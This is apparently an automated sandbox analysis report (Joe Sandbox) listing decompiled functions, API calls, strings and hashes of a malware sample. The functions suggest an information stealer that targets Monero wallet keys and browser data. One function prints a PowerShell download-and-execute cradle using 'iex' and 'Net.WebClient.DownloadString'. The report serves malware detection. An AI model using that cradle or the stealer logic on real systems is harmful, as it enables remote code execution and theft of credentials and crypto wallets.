Opcode ID: 3aee043626299482e3fc97699ddbade47266f69385312addc62e64b40c0860bb
Instruction ID: 4af54410c1aff65e7ebab864ae90649ebe7adf5b621f0399809252a041e459b1
Opcode Fuzzy Hash: 3aee043626299482e3fc97699ddbade47266f69385312addc62e64b40c0860bb
Instruction Fuzzy Hash: 50014FB5B44308BBD700DBE8DC4DFA9BBB8EB48701F104099FA45D72D0DAB0A9448B61

Function 00B07720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07734
RtlAllocateHeap.NTDLL(00000000), ref: 00B0773B
RegOpenKeyExA.ADVAPI32(80000002,0189B9C8,00000000,00020119,00B076B9), ref: 00B0775B
RegQueryValueExA.ADVAPI32(00B076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00B0777A
RegCloseKey.ADVAPI32(00B076B9), ref: 00B07784

Strings

CurrentBuildNumber, xrefs: 00B07771

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ba0230c8744a5675c08ddff66e8934c5705a0be5668a43b6a7adf68199ac9c68
Instruction ID: 93dc711ec852d1effef2da11134f583ff4bdcea3d38023453bd17bc04ad3184b
Opcode Fuzzy Hash: ba0230c8744a5675c08ddff66e8934c5705a0be5668a43b6a7adf68199ac9c68
Instruction Fuzzy Hash: A30117F5B40308BBD700DBE4DC49FAEB7B8EB44701F104599FA45E7391DA715A448B61

Function 00AF99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 8cb85fb8b331b10ab3b390e5d1b3317f47c98bdc285ce69e3ce55764d3c97d06
Instruction ID: 4c5e8455640d8acb044edd7c3ed127ce959b9f45cc64ccec24cc8ecc1871d15e
Opcode Fuzzy Hash: 8cb85fb8b331b10ab3b390e5d1b3317f47c98bdc285ce69e3ce55764d3c97d06
Instruction Fuzzy Hash: D731D6B4A00209EFDB14DF94D985BAE77B5FF48390F108158F911A7390D778AA42CFA1

Function 00B04780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,018AF3E0), ref: 00B047DB

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B04801
lstrcat.KERNEL32(?,?), ref: 00B04820
lstrcat.KERNEL32(?,?), ref: 00B04834
lstrcat.KERNEL32(?,0189A450), ref: 00B04847
lstrcat.KERNEL32(?,?), ref: 00B0485B
lstrcat.KERNEL32(?,018AE608), ref: 00B0486F

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B08D90: GetFileAttributesA.KERNEL32(00000000,?,00AF1B54,?,?,00B1564C,?,?,00B10E1F), ref: 00B08D9F

Part of subcall function 00B04570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B04580
Part of subcall function 00B04570: RtlAllocateHeap.NTDLL(00000000), ref: 00B04587
Part of subcall function 00B04570: wsprintfA.USER32 ref: 00B045A6
Part of subcall function 00B04570: FindFirstFileA.KERNEL32(?,?), ref: 00B045BD

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: f2c0a44dd6178277ff74f58cbe3875991ea4303113b86a5719c5a02f4936cab9
Instruction ID: 4652cd1021b325bdec24d9c8b28e5ba5b777e8ea7555525d8ec96ba210edd8ea
Opcode Fuzzy Hash: f2c0a44dd6178277ff74f58cbe3875991ea4303113b86a5719c5a02f4936cab9
Instruction Fuzzy Hash: F23171B2A00308A7CB10FBB4DC85EE977BCAB58700F4045C9B399960C1EE74D7898BA5

Function 00B02C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B02D85

Strings

<, xrefs: 00B02D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00B02D04
')", xrefs: 00B02CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00B02CC4

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: aa14fb1515cc2118c41af410f4272379c7c081730a75c443ff0ce302b72500c0
Instruction ID: 2fac6cf57b9122ea4d721c6df75dea1ba41c7f0178a358cbbe1287f495c4cf49
Opcode Fuzzy Hash: aa14fb1515cc2118c41af410f4272379c7c081730a75c443ff0ce302b72500c0
Instruction Fuzzy Hash: AC419C71D103089ADB14FBA0C896FEDBFB8AF14300F508599E116B61D1DF746A8ACF91

Function 00AF9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00AF9F41

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

v10, xrefs: 00AF9EA3
v20, xrefs: 00AF9E21
ERROR_RUN_EXTRACTOR, xrefs: 00AF9E67
@, xrefs: 00AF9EF1

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 29dc75fcf2165b7376ccc6f1f745236567eb7f6c82203323a3727d5b22898468
Instruction ID: 1b51ebc9d0d5449932eb31310f4ec31d047cadf26b1287ea179f333d630fa574
Opcode Fuzzy Hash: 29dc75fcf2165b7376ccc6f1f745236567eb7f6c82203323a3727d5b22898468
Instruction Fuzzy Hash: 8A615E70A1030CEBDB24EFA4DD96FED77B5AF54304F408458FA0A5B291EB706A45CB52

Function 00B040B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,018AE628,00000000,00020119,?), ref: 00B040F4
RegQueryValueExA.ADVAPI32(?,018AF4B8,00000000,00000000,00000000,000000FF), ref: 00B04118
RegCloseKey.ADVAPI32(?), ref: 00B04122
lstrcat.KERNEL32(?,00000000), ref: 00B04147
lstrcat.KERNEL32(?,018AF5A8), ref: 00B0415B

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: dd8b406df14117b40a66442ff046d7e80d96a7e7220d95f88e39ac408fcda273
Instruction ID: d6b4ece2152368ae2b0b4e7f09dc72b35ae4464d934126352d27b7999d7da6b2
Opcode Fuzzy Hash: dd8b406df14117b40a66442ff046d7e80d96a7e7220d95f88e39ac408fcda273
Instruction Fuzzy Hash: 9F4189B6900208ABDB14EBE4DC46FFE777DAB48300F404598B75597181EA759B888BE2

Function 00B06920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00B0696C
sscanf.NTDLL ref: 00B06999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B069B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B069C0
ExitProcess.KERNEL32 ref: 00B069DA

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8cbb200d59cca25b86698f3912d04f55b959108e2f81227103d4326e97231c48
Instruction ID: c592f9ae6debef8b358f8c854a5ba1fc4fdad973720448ee5e10f3aba06090db
Opcode Fuzzy Hash: 8cbb200d59cca25b86698f3912d04f55b959108e2f81227103d4326e97231c48
Instruction Fuzzy Hash: 0C21CBB5E14209ABCF04EFE8D945AEEBBF5FF48300F04856AE406E3250EB345615CBA5

Function 00B07E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07E37
RtlAllocateHeap.NTDLL(00000000), ref: 00B07E3E
RegOpenKeyExA.ADVAPI32(80000002,0189BDF0,00000000,00020119,?), ref: 00B07E5E
RegQueryValueExA.ADVAPI32(?,018AE728,00000000,00000000,000000FF,000000FF), ref: 00B07E7F
RegCloseKey.ADVAPI32(?), ref: 00B07E92

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5a6b6e49d84f991543543a7f9e237a91a41ed691f8be16217321bebe1b068287
Instruction ID: 3de29bb52b8e7a7496b456826006091ab5d7f1dc8ba854707393b730951e9906
Opcode Fuzzy Hash: 5a6b6e49d84f991543543a7f9e237a91a41ed691f8be16217321bebe1b068287
Instruction Fuzzy Hash: 49113AB1A44305ABD700DB98DD89FBBFBBCEB04B10F104199F605E7280DBB468018BA1

Function 00B09260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(018AEFF0,?,?,?,00B0140C,?,018AEFF0,00000000), ref: 00B0926C
lstrcpyn.KERNEL32(00D3AB88,018AEFF0,018AEFF0,?,00B0140C,?,018AEFF0), ref: 00B09290
lstrlen.KERNEL32(?,?,00B0140C,?,018AEFF0), ref: 00B092A7
wsprintfA.USER32 ref: 00B092C7

Strings

%s%s, xrefs: 00B092B5

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 5eef92e01f465854d2fd4628fac31f301438f02e7454422925912cc311543993
Instruction ID: 8baffe7938fcd0b6335f2bc509bd44dc8cfbc9d2e05a29676d8cbb15fd846bc4
Opcode Fuzzy Hash: 5eef92e01f465854d2fd4628fac31f301438f02e7454422925912cc311543993
Instruction Fuzzy Hash: CB01DA75600208FFCB04DFECC989EAE7BB9EF48355F108588F9499B345C671AA40DBA1

Function 00AF12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AF12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00AF12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00AF12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00AF12F5
RegCloseKey.ADVAPI32(?), ref: 00AF12FF

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ca34fe320c6ebbf797b39a334bff76bf78090d6bc24b9d6717e0af2969ff714b
Instruction ID: 0d592c7d2fbdbe2f244f57aae2ffecbff27bbb515bdf8915930090900ebe9779
Opcode Fuzzy Hash: ca34fe320c6ebbf797b39a334bff76bf78090d6bc24b9d6717e0af2969ff714b
Instruction Fuzzy Hash: 6A01E1B9B40308BBDB04DFE4DC89FAEB7B8EB48701F108159FA45D7280D6759A058FA1

Function 00B0C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00B0C8EC
___crtLCMapStringA.LIBCMT ref: 00B0C90C
___crtLCMapStringA.LIBCMT ref: 00B0C931

Strings

, xrefs: 00B0C896

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

